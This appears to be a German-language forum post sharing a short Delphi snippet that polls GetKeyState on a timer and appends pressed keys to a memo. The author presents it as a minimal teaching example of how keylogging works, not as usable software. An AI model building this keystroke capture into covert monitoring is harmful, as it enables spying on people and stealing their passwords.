1000 Wege führen nach Rom....hier ist z.B. einer...

Hier ist der Source eines sehr simplen keyloggers.
Um ihn in eine Keylogger-Software einzubauen, ist er nicht geeignet, aber man kann den Aufbau des loggens in einfachster Weise sehn.
Code:
* procedure TForm1.Timer1Timer(Sender: TObject);
    * Var pos, c : integer; //deklaration der var
    * begin
    * for c:= 1 to 255 do begin;
    * pos := GetKeyState(c); //der wert des keys wird abgefragt
    * If Copy(IntToStr(pos),1,1) = '-' Then begin; //wert wird überprüft
    * memo1.Text := Memo1.Text + chr(c);// wert wird in memo1 gespeichert
    * End;
    * End;
    * end;
...man brauch also nur ein memo und einen timer....
Der source macht im prinzip nix andres, als mit dem gering eingestelltem
timer eine abfrage nach einer gedrückten taste.Diese taste wird in memo 1 addiert...
Timer zeit würde ich 25 ms eimpfehlen.
Achtung: keine unterschiede zwischen gross und klein schreibung (wie in diesem post )
mfg Steiger_mp